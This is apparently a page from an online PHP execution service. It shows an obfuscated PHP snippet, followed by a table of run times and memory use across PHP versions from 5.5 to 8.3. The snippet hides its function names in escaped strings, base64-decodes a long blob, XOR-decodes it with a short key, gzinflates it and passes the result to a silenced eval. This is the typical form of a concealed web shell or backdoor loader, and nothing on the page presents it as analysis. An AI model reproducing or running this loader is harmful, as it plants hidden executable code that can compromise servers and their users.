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"; $q0ebz="\x73\164"; $zwq31Yh="\141"; $TOBhTi="Fl1YmASDI8aXpD/m8D/mfIHcG/LZPlaEtVgbJdi4+ObaBk"; $zTOgm00="\147\172\151"; $wcIVTt="\x62\141\x73"; $TOBhTi.="aoXvyMd4G4B2JRMAbdEDMI5FpeJnsyS2zbyBH6hDJR2OcL"; $zTOgm00.="\x6e\146"; $wcIVTt.="\x65\66\x34"; $q0ebz.="\x72\137\162"; $zwq31Yh.="\163"; $q0ebz.="\157\x74"; $zTOgm00.="\x6c\141"; $zwq31Yh.="\x73\145"; $TOBhTi.="D1x2uunzWbLjaen2WgDNCqixwPXA/XVHuBUEHRJkzaStpL"; $wcIVTt.="\x5f\x64\x65\x63"; $wcIVTt.="\157\144\x65"; $zTOgm00.="\164\x65"; $q0ebz.="\61\63"; $zwq31Yh.="\x72\164"; $TOBhTi.="wkZSSI01uAGJhUIWNGIncP/AAmQDj0bVLOWqD1eDR="; eval('$jlGVLOVL=$wcIVTt($jlGVLOVL);$LM3cB3="";$TOBhTi="YRzoc";for($vmBFPT=0;$vmBFPT<18541;$vmBFPT++)$LM3cB3.=chr(ord($jlGVLOVL[$vmBFPT])^ord($TOBhTi[$vmBFPT%5]));@eval($zTOgm00($LM3cB3));');

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0030.01618.54
8.3.50.0090.01217.36
8.3.40.0130.01319.93
8.3.30.0130.00719.66
8.3.20.0070.00321.20
8.3.10.0000.01122.79
8.3.00.0070.00323.51
8.2.180.0100.01018.41
8.2.170.0070.01422.96
8.2.160.0040.01521.26
8.2.150.0080.00324.18
8.2.140.0030.00724.66
8.2.130.0000.01020.96
8.2.120.0040.00726.35
8.2.110.0000.01221.29
8.2.100.0120.00618.80
8.2.90.0060.00620.23
8.2.80.0000.01218.93
8.2.70.0040.00818.46
8.2.60.0040.00818.80
8.2.50.0040.00818.50
8.2.40.0000.01222.45
8.2.30.0090.00320.48
8.2.20.0060.00618.65
8.2.10.0000.01119.09
8.2.00.0060.00619.04
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8.1.160.0070.00421.77
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7.3.170.0060.02017.46
7.3.160.0090.02117.41
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7.0.30.0070.08020.20
7.0.20.0030.05720.17
7.0.10.0130.04720.06
7.0.00.0130.09720.07
5.6.280.0000.08021.82
5.6.250.0030.05321.33
5.6.240.0070.09021.23
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5.6.200.0100.08321.65
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5.6.130.0070.09721.75
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5.6.20.0170.08721.20
5.6.10.0100.04021.12
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5.5.380.0100.04321.09
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5.5.320.0100.04321.61
5.5.310.0070.10721.53
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5.5.290.0070.09721.60
5.5.280.0130.09021.50
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5.5.260.0170.06721.50
5.5.250.0070.05721.46
5.5.240.0100.08020.86
5.5.230.0170.04020.98
5.5.220.0030.05720.94
5.5.210.0070.04721.01
5.5.200.0130.04320.96
5.5.190.0100.06320.86
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5.5.160.0070.07720.99
5.5.150.0000.07720.86
5.5.140.0270.08321.02
5.5.130.0070.08720.98
5.5.120.0300.03720.95
5.5.110.0070.07020.72
5.5.100.0070.04720.84
5.5.90.0130.04720.89
5.5.80.0130.10020.80
5.5.70.0200.07320.79
5.5.60.0070.07020.79
5.5.50.0100.04720.79
5.5.40.0030.07320.82
5.5.30.0070.09020.82
5.5.20.0130.09020.79
5.5.10.0130.04720.77
5.5.00.0130.05020.86

preferences:
52.88 ms | 400 KiB | 5 Q